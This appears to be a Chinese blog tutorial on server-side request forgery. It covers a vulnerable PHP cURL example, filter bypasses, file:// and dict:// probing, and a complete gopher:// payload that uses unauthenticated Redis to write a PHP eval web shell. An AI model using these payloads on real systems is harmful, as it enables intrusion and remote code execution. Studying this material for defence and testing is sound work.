SSRF

SSRF

满足的条件

  1. 让目标站点发起网络请求,可以控制目标去访问百度
  2. DNS注入通过load_file()函数读取远程地址 ==> 让目标站点发起网络请求
  3. 要能访问公网或者内网

代码查看

<?php
    $URL = $_GET['url'];
	$CH = CURL_INIT();
	CURL_SETOPT($CH, CURLOPT_URL, $URL);
	CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
    CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
	CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
	CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
	$RES = CURL_EXEC($CH);
	CURL_CLOSE($CH);
	echo $RES;
?>

如何挖掘SSRF

黑盒

  • 看参数(传参出现域名、协议、文件等可能存在)

白盒

  • 可以发起请求的函数,传参中出现莫名其妙的协议头(a=http://)或者是文件(a=123.php
  • @方法【只访问@后面的内容】:http://www.baidu.com@127.0.0.1也可以直接访问本地
  • 数字IP法【IP转数字】127.0.0.1 => 2130706433

如何利用

file协议

  • file协议探测文件内容(?url=file:///c:/www/config.php)

dict协议

  • dict协议扫描端口(?url=dict://127.0.0.1:80)
    • 端口开放会显示报错消息
    • 端口关闭无任何显示

如何绕过

  1. 加@方法

    http://www.baidu.com@127.0.0.1

  2. 域名最终指向地址127.0.0.1

  3. 数字IP法

如何防御

  • 写一个正则,不允许访问本机、内网

进阶使用

利用Gopher协议

Gopher协议

  • Gopher协议是在http协议出现之前,在Internet上常见的一个协议
  • 在SSRF中,Gopher协议可以对FTP、Telent、Redis、Memcache、MySQL进行攻击,也可以发送GET、POST数据
  • 这个协议和http协议很类似,只不过gopher协议默认没有端口,需要特殊指定,而且需要制定POST方法,回车换行必须使用%0d%0a,而且POST传参之间的&分隔符,也得进行URL编码

基本格式

gopher://:/_后接TCP数据流

Redis

  • 是一个缓存数据库
    • 配置不当造成未授权访问
config
set dir /home/wwwroot/default/config
set dbfilename "shell.php"
set gaia "<?php eval($_POST[a]);?>"
save
exit
  • 通过Redis写入恶意语句,然后通过wireshark抓原始数据流

  • 通过URL编码,换行和空格用%0d%0a代替转换出来的%0a,?替换成%3f

gopher://127.0.0.1:6379/*1%0D%0A$7%0D%0ACOMMAND%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
posted @ 2022-07-12 16:47  余星酒  阅读(56)  评论(0)    收藏  举报